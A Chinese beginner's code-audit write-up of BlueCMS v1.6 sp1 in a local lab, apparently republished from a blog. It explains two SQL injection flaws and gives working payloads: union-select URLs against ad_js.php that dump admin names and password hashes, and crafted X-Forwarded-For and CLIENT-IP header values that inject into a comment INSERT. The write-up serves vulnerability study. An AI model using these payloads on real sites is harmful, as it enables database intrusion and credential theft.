zoukankan      html  css  js  c++  java
  • 代码审计入门之BlueCMS v1.6 sp1

    0x00 前言

    作为一名代码审计的新手,网上的大佬们说代码审计入门的话BlueCMS比较好,所以我就拿BlueCMS练练。(本人实在是一枚新手,请大佬们多多赐教)

    0x01 环境准备

    Phpstudy
    
    BlueCMS v1.6 sp1源码
    
    代码审计工具(Seay源代码审计系统)

    0x02 审计过程

    拿到一个CMS,有诸多审计方法,我这里的审计方法是黑盒+白盒测试,偏黑盒较多的代码审计。拿到代码后我们应该先对其进行功能点的分析,看一看该CMS存在哪些功能,因为我们寻找漏洞,肯定是从网站中的正常功能进行测试,这是黑盒测试的一个方法,挖掘漏洞的核心我认为在于传参,知道每个传参的意义是不是就等于知道了代码会做什么,要做什么呢?

    由于本人实力真的有限,只能参考网上流传最广的两个注入进行演示

    直接开门见山吧

    1. 注入一

    用Seay源代码审计系统审计一下看看,我们可以发现有很多可能的注入点,如第一个,在文件:ad_js.php

    选中该可能的注入点,右键单击打开文件,就能直接定位到该条语句了,内容如下:

     getone()是自定义的函数,用来查询数据库,代码如下:(可双击选中该函数,然后右键单击定位函数,发现在:/uploads/include/mysql.class.php文件中,双击直接可定位到在文件中的位置)

    主要是插入到数据库查询语句中的$ad_id没有经过任何的过滤,因而导致了SQL注入。从代码中可以看出:

    利用:

    先查看有多少字段:

    http://127.0.0.1/ad_js.php?ad_id=1 order by 7

    当order by 8时报错

    所以字段数为8

    接着来看数据库名:

    我们先来看回显在哪

    http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

    这里注意:我们需要在源代码中查看

    第7个字段的位置出现了回显

    来查看一下当前数据库

    http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

    然后爆表名:

    http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

    表名真的太多,我们这里主要来玩blue_admin这张表

    爆列名:

    http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

    这里需要将表名转换为16进制

    获取用户名密码:

    http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

    是用MD5值,其值为admin:

    2. 注入二

    再查看Seay发现的可疑注入点,在文件/include/common.fun.php中:

    $ip变量的值从环境变量中获得,具体代码如下:(可右键点击查看相应文件内容)

    $ip的值可能是从HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR等变量中获得;

    全局搜索一下使用到这个函数的地方一共有2处,中间那个是函数定义:

    我们查看一下第一个文件:(代码113行,这是一个负责文章评论的代码文件)

    我们可以看到,通过函数getip()获取到的$ip变量的值,直接插入到了SQL语句中,接着就执行了。由此可以看出,这里是存在SQL注入的。

    我们来看一下文章发布部分

    从上面的页面(/comment.php)可以推断出,SQL注入出现在对文章进行评论的地方,因为之前在发表文章时出现点问题,现将解决的小trick分享给大家:

    首先,需要先注册一个用户,登陆之后进入到个人资料,有个文章分类,但是我在创建分类的时候老是出现问题,如右所示:

     

    而且通过管理员登陆也不能创建分类,甚是无奈,只能通过修改代码解决:

    我们找到发表文章的页面:http://localhost/bluecms_v1.6_sp1/uploads/user.php?act=add_news ,将判断新闻分类的部分注释掉,这样就不会因为没有分类的问题,而导致程序的执行过程被中断。

    好,那现在我们创建一篇文章,随意填写写内容即可:(步骤:进入个人中心->本地新闻->发布新闻)

    回到主页:

    查看下我们刚发布的文章,如下所示:

    利用:

    我们回看下那段SQL语句:

    $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
                 VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
    $db->query($sql);

    可以看到,一共有9个参数,而insert语句可以一次插入多条数据,只要们在构造$ip的内容时,闭合掉前面的部分,使之变成完整的语句即可。

    X-Forwarded-For

    X-Forwarded-For: 00', '1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin), '1281181973','99

    在POST数据包头部添加X-Forwarded-For字段,内容如上:

    通过查看网页源代码的方式,我们可以看到admin用户密码的hash值:(其值为admin)

    CLIENT-IP

    通过CLIENT-IP构造如下:

    CLIENT-IP: 1', '1'),('','1','0','1','6',(select concat(admin_name,':',pwd) from blue_admin), '1','1

    POST数据包:

    可以看到admin密码的hash值直接显示到了页面上:(时间错乱了,请忽略)

    本人能力实在有限,先探索到这儿


    参考:https://www.cnblogs.com/Hi-blog/p/7990894.html#_label20



  • 相关阅读:
    HDU-6534-Chika and Friendly Pairs (莫队算法,树状数组,离散化)
    SPOJ-DQUERY-D-query
    视频上云/网络穿透/拉转推工具EasyNTS设备IP地址返回数据与实际IP匹配的筛选机制优化
    视频上云/网络穿透/拉转推工具EasyNTS新增获取windows所有盘符信息功能的实现
    【解决方案】热门景区实现智慧旅游,城市道路/风景区视频公众号分享该如何实现?
    TSINGSEE青犀视频开发webrtc使用ffmpeg编译报ffmpeg version: N-94448-G3CEA9CD219提示是什么原因
    TSINGSEE青犀视频开发webrtc浏览器使用video标签播放webrtc本地录音音频实现过程
    【解决方案】智慧农业自动化的浪潮下,大棚实时视频监控系统应该如何搭建?
    【解决方案】房地产行业施工现场搭建视频4G无线远程视频监管信息化行业应用方案建议书
    【解决方案】国标GB28181协议视频智能分析平台EasyCVR搭建智慧养殖平台,让畜牧业实现“万物互联”
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13033697.html
Copyright © 2011-2022 走看看